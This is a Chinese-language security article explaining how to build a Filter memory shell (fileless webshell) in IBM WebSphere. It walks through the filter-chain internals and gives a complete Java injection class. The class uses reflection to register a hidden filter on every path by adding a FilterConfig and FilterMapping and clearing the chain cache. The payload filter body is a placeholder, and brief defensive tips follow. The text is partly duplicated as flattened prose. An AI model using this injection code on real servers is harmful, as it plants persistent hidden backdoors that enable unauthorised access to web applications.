websphere内存马 构造分析过程
字数 1748 2025-08-22 12:22:37

WebSphere Filter内存马构造与分析

前言

WebSphere是IBM开发的一套应用程序服务器和相关软件工具的集合,主要用于构建、部署和管理企业级Java应用程序。本文详细分析WebSphere中Filter内存马的构造过程。

环境搭建

  1. WebSphere环境搭建:参考WebSphere环境搭建指南

  2. 示例代码准备

    • HelloFilter.java - 基础Filter示例
    • HelloServlet.java - 基础Servlet示例
    • TestFilter.java - 测试Filter示例
    • web.xml - 配置Servlet和Filter映射
  3. 部署过程

    • 将代码打包为WAR文件
    • 在WebSphere管理后台上传WAR包
    • 安装时修改Context Root

分析过程

Filter调用链分析

  1. Filter调用入口

    • 请求处理时调用wrapper.doFilter()
    • wrapper对象通过this._filters.get()获取
  2. FilterChain构造

    • 调用fc.doFilter(),其中fc对象包含_filters属性
    • fc对象通过this.getFilterChain()获取
    • getFilterChain()调用this.getFilterChainContents()获取fcc对象
  3. FilterChainContents(fcc)获取

    • 首先尝试从this.chainCache缓存获取
    • 缓存不存在时,通过this.webAppConfig.getUriFilterMappings()获取所有Filter
    • 遍历Filter并与请求路径匹配,将匹配的Filter名称存入fcc._filterNames
  4. Filter实例化

    • 遍历fcc._filterNames,调用this.getFilterInstanceWrapper()实例化Filter
    • 实例化过程:
      • 检查this._filterWrappers中是否已存在实例
      • 不存在时调用this.loadFilter() -> this._loadFilter()
      • 最终通过this.webAppConfig.getFilterInfo()获取Filter对象

内存马注入流程

  1. 获取运行时上下文

    • 通过线程获取SRTServletRequest对象
    • 通过getServletContext()获取Servlet上下文
  2. 添加FilterConfig到FilterInfo

    • 实例化FilterConfig对象
    • 设置Filter类名和名称
    • 调用webConfig.addFilterInfo()添加配置
  3. 清空chainCache

    • chainCache设置为Collections.synchronizedMap(new LinkedHashMap(20, 0.75F, true))
    • 强制下次请求重新构建Filter链
  4. 添加FilterMapping

    • 实例化FilterMapping对象
    • 通过反射获取uriFilterMappingInfos列表
    • 调用add()方法添加新的映射

完整EXP实现

package org.example;

import com.ibm.ws.webcontainer.filter.FilterMapping;
import com.ibm.ws.webcontainer.filter.WebAppFilterManagerImpl;
import com.ibm.ws.webcontainer.srt.SRTServletRequest;
import com.ibm.ws.webcontainer.webapp.WebAppConfigurationImpl;
import com.ibm.ws.webcontainer.filter.FilterConfig;
import javax.servlet.*;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.util.*;

public class InjectFilter {
    private static final String FilterClass = "org.example.InjectFilter$FilterShell";
    private static final String FilterName = "FilterShell";
    private static final String pattern = "/*";

    static {
        try {
            // Step1: 获取运行时上下文
            SRTServletRequest srtServletRequest = getSRTServletRequest();
            Object object = getField(srtServletRequest.getServletContext(), "context");
            WebAppConfigurationImpl webconfig = (WebAppConfigurationImpl) getField(object, "config");

            // Step2: 构造并添加FilterConfig
            FilterConfig filterConfig = createAndConfigureFilterConfig(webconfig);
            webconfig.addFilterInfo(filterConfig);

            // Step3: 清空chainCache
            resetFilterChainCache(object);

            // Step4: 添加FilterMapping
            addFilterMapping(object, filterConfig);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private static SRTServletRequest getSRTServletRequest() throws Exception {
        Object wsThreadLocals = getField(Thread.currentThread(), "wsThreadLocals");
        if (wsThreadLocals != null) {
            for (int i = 0; i < Array.getLength(wsThreadLocals); i++) {
                Object obj = Array.get(wsThreadLocals, i);
                if (obj != null && obj.getClass().getName().contains("WebContainerRequestState")) {
                    obj = getField(obj, "currentThreadsIExtendedRequest");
                    obj = getField(obj, "_requestContext");
                    return (SRTServletRequest) getField(obj, "request");
                }
            }
        }
        throw new RuntimeException("Failed to get SRTServletRequest");
    }

    private static FilterConfig createAndConfigureFilterConfig(WebAppConfigurationImpl webconfig) 
            throws Exception {
        FilterConfig filterConfig = new com.ibm.ws.webcontainer.filter.FilterConfig(null, webconfig);
        filterConfig.setFilterClassName(FilterClass);
        filterConfig.setName(FilterName);
        
        List<String> urlPatternMappings = new ArrayList<>();
        urlPatternMappings.add(pattern);
        Field field = filterConfig.getClass().getDeclaredField("urlPatternMappings");
        field.setAccessible(true);
        field.set(filterConfig, urlPatternMappings);
        
        return filterConfig;
    }

    private static void resetFilterChainCache(Object context) throws Exception {
        WebAppFilterManagerImpl filterManager = (WebAppFilterManagerImpl) getField(context, "filterManager");
        Map chainCache = Collections.synchronizedMap(new LinkedHashMap(20, 0.75F, true));
        Field field = filterManager.getClass().getSuperclass().getDeclaredField("chainCache");
        field.setAccessible(true);
        field.set(filterManager, chainCache);
    }

    private static void addFilterMapping(Object context, FilterConfig filterConfig) throws Exception {
        FilterMapping filterMapping = new FilterMapping(pattern, filterConfig, null);
        Object webAppConfig = getField(context, "webAppConfig");
        ArrayList uriFilterMappingInfos = (ArrayList) getField(webAppConfig, "uriFilterMappingInfos");
        uriFilterMappingInfos.add(filterMapping);
    }

    // 反射工具方法
    public static Object getField(Object o, String s) throws Exception {
        Field field = null;
        Class<?> clazz = o.getClass();
        while (clazz != null) {
            try {
                field = clazz.getDeclaredField(s);
                break;
            } catch (NoSuchFieldException e) {
                clazz = clazz.getSuperclass();
            }
        }
        if (field == null) {
            throw new NoSuchFieldException(s);
        }
        field.setAccessible(true);
        return field.get(o);
    }

    // 恶意Filter实现
    public static class FilterShell implements javax.servlet.Filter {
        @Override
        public void init(javax.servlet.FilterConfig filterConfig) {}

        @Override
        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) 
                throws IOException, ServletException {
            // 恶意代码执行逻辑
            System.out.println("getShell!!");
            chain.doFilter(request, response);
        }

        @Override
        public void destroy() {}
    }
}

关键点总结

  1. 上下文获取:通过线程中的wsThreadLocals获取SRTServletRequest,进而获取Servlet上下文

  2. FilterConfig构造:需要正确设置Filter类名、名称和URL模式

  3. 缓存处理:必须清空chainCache才能使新添加的Filter生效

  4. 映射添加:需要同时添加FilterConfigFilterMapping才能完整注册Filter

  5. 反射使用:由于WebSphere内部API不可直接访问,需要大量使用反射

防御建议

  1. 监控WebSphere中动态添加的Filter
  2. 限制对WebSphere内部API的访问
  3. 定期检查webAppConfig中的Filter配置
  4. 实施运行时字节码检测

参考

WebSphere Filter内存马构造与分析 前言 WebSphere是IBM开发的一套应用程序服务器和相关软件工具的集合,主要用于构建、部署和管理企业级Java应用程序。本文详细分析WebSphere中Filter内存马的构造过程。 环境搭建 WebSphere环境搭建 :参考 WebSphere环境搭建指南 示例代码准备 : HelloFilter.java - 基础Filter示例 HelloServlet.java - 基础Servlet示例 TestFilter.java - 测试Filter示例 web.xml - 配置Servlet和Filter映射 部署过程 : 将代码打包为WAR文件 在WebSphere管理后台上传WAR包 安装时修改Context Root 分析过程 Filter调用链分析 Filter调用入口 : 请求处理时调用 wrapper.doFilter() wrapper 对象通过 this._filters.get() 获取 FilterChain构造 : 调用 fc.doFilter() ,其中 fc 对象包含 _filters 属性 fc 对象通过 this.getFilterChain() 获取 getFilterChain() 调用 this.getFilterChainContents() 获取 fcc 对象 FilterChainContents(fcc)获取 : 首先尝试从 this.chainCache 缓存获取 缓存不存在时,通过 this.webAppConfig.getUriFilterMappings() 获取所有Filter 遍历Filter并与请求路径匹配,将匹配的Filter名称存入 fcc._filterNames Filter实例化 : 遍历 fcc._filterNames ,调用 this.getFilterInstanceWrapper() 实例化Filter 实例化过程: 检查 this._filterWrappers 中是否已存在实例 不存在时调用 this.loadFilter() -> this._loadFilter() 最终通过 this.webAppConfig.getFilterInfo() 获取Filter对象 内存马注入流程 获取运行时上下文 : 通过线程获取 SRTServletRequest 对象 通过 getServletContext() 获取Servlet上下文 添加FilterConfig到FilterInfo : 实例化 FilterConfig 对象 设置Filter类名和名称 调用 webConfig.addFilterInfo() 添加配置 清空chainCache : 将 chainCache 设置为 Collections.synchronizedMap(new LinkedHashMap(20, 0.75F, true)) 强制下次请求重新构建Filter链 添加FilterMapping : 实例化 FilterMapping 对象 通过反射获取 uriFilterMappingInfos 列表 调用 add() 方法添加新的映射 完整EXP实现 关键点总结 上下文获取 :通过线程中的 wsThreadLocals 获取 SRTServletRequest ,进而获取Servlet上下文 FilterConfig构造 :需要正确设置Filter类名、名称和URL模式 缓存处理 :必须清空 chainCache 才能使新添加的Filter生效 映射添加 :需要同时添加 FilterConfig 和 FilterMapping 才能完整注册Filter 反射使用 :由于WebSphere内部API不可直接访问,需要大量使用反射 防御建议 监控WebSphere中动态添加的Filter 限制对WebSphere内部API的访问 定期检查 webAppConfig 中的Filter配置 实施运行时字节码检测 参考 WebSphere环境搭建指南 WebSphere官方文档 Java Servlet规范